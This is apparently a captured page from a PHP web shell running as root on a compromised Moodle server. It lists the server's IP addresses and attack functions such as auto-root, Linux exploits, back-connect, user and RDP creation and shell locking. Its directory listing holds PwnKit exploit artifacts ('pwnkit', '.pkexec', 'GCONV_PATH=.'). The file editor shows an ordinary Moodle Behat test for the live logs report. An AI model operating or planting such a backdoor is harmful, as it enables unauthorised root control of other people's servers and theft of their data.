Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
report /
loglive /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
loglive_report.feature
4.23
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : loglive_report.feature
@report @report_loglive Feature: In a report, admin can see loglive data In order see loglive data As an admin I need to view loglive report and see if the live update feature works Background: Given the following "courses" exist: | fullname | shortname | category | groupmode | | Course 1 | C1 | 0 | 1 | And the following "users" exist: | username | firstname | lastname | email | idnumber | middlename | alternatename | firstnamephonetic | lastnamephonetic | | student1 | Grainne | Beauchamp | student1@example.com | s1 | Ann | Jill | Gronya | Beecham | And the following "course enrolments" exist: | user | course | role | | student1 | C1 | student | And the following config values are set as admin: | fullnamedisplay | firstname | | alternativefullnameformat | middlename, alternatename, firstname, lastname | And I log in as "admin" And I navigate to "Plugins > Logging > Manage log stores" in site administration And I click on "Enable" "link" in the "Legacy log" "table_row" And the following config values are set as admin: | loglegacy | 1 | logstore_legacy | And I am on "Course 1" course homepage with editing mode on And I add a "Database" to section "3" and I fill the form with: | Name | Test name | | Description | Test database description | @javascript Scenario: Check loglive report entries and make sure the report works for standard and legacy reader Given I navigate to "Reports > Live logs" in site administration When I set the field "reader" to "Standard log" Then I should see "Course module created" And I should see "Test name" And I set the field "reader" to "Legacy log" And I wait to be redirected And I should see "course_add mod" @javascript @_switch_window Scenario: Check loglive report entries and make sure the pause/resume button works for standard reader along with ajax calls Given I am on site homepage When I navigate to "Reports > Live logs" in site administration And I set the field "reader" to "Standard log" And I wait to be redirected And I should not see "Test name2" And I press "Pause live updates" And I follow "Course module created" And I switch to "action" window And I am on "Course 1" course homepage And I add a "Database" to section "3" and I fill the form with: | Name | Test name2 | | Description | Test database description | And I switch to the main window And I wait "8" seconds Then I should not see "Test name2" And I press "Resume live updates" And I wait "8" seconds And I should see "Test name2" @javascript @_switch_window Scenario: Check loglive report entries and make sure the pause/resume button works for legacy reader along with ajax calls Given I am on site homepage When I navigate to "Reports > Live logs" in site administration And I set the field "reader" to "Legacy log" And I wait to be redirected And I should not see "Test name2" And I press "Pause live updates" And I follow "course_add mod" And I switch to "action" window And I am on "Course 1" course homepage And I add a "Database" to section "3" and I fill the form with: | Name | Test name2 | | Description | Test database description | And I switch to the main window And I wait "8" seconds Then I should not see "Test name2" And I press "Resume live updates" And I wait "8" seconds And I should see "Test name2" @javascript Scenario: Check course loglive report entries for a user Given I log out And I am on the "Test name" "data activity" page logged in as student1 And I log out And I am on the "Course 1" Course page logged in as admin And I navigate to "Reports > Live logs" in site administration When I set the field "reader" to "Standard log" Then I should see "Course module viewed" And I should see "Test name" And I should see "Ann, Jill, Grainne, Beauchamp" And I set the field "reader" to "Legacy log" And I wait to be redirected And I should see "course_add mod" And I wait "8" seconds And I should see "Test name"
Close